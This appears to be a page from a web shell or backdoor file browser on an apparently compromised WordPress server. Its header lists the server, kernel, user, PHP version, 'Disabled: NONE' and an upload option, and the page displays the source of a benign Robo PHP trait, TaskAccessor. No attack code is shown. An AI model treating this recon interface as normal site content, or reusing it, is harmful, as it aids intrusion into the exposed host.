HEX
Server: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips
System: Linux WORDPRESS 3.10.0-1160.118.1.el7.x86_64 #1 SMP Thu Apr 4 03:33:23 EDT 2024 x86_64
User: digital (1020)
PHP: 7.2.24
Disabled: NONE
Upload Files
File: /datos/www/fabricas.colombiatrade.com.co/vendor2/consolidation/robo/src/TaskAccessor.php
<?php
namespace Robo;

use Robo\Common\BuilderAwareTrait;

trait TaskAccessor
{
    use BuilderAwareTrait;

    /**
     * Provides the collection builder with access to all of the
     * protected 'task' methods available on this object.
     *
     * @param string $fn
     * @param array $args
     *
     * @return null|\Robo\Collection\CollectionBuilder
     */
    public function getBuiltTask($fn, $args)
    {
        if (preg_match('#^task[A-Z]#', $fn)) {
            return call_user_func_array([$this, $fn], $args);
        }
    }

    /**
     * Alternative access to instantiate. Use:
     *
     *   $this->task(Foo::class, $a, $b);
     *
     * instead of:
     *
     *   $this->taskFoo($a, $b);
     *
     * The later form is preferred.
     *
     * @return \Robo\Collection\CollectionBuilder
     */
    protected function task()
    {
        $args = func_get_args();
        $name = array_shift($args);

        $collectionBuilder = $this->collectionBuilder();
        return $collectionBuilder->build($name, $args);
    }
}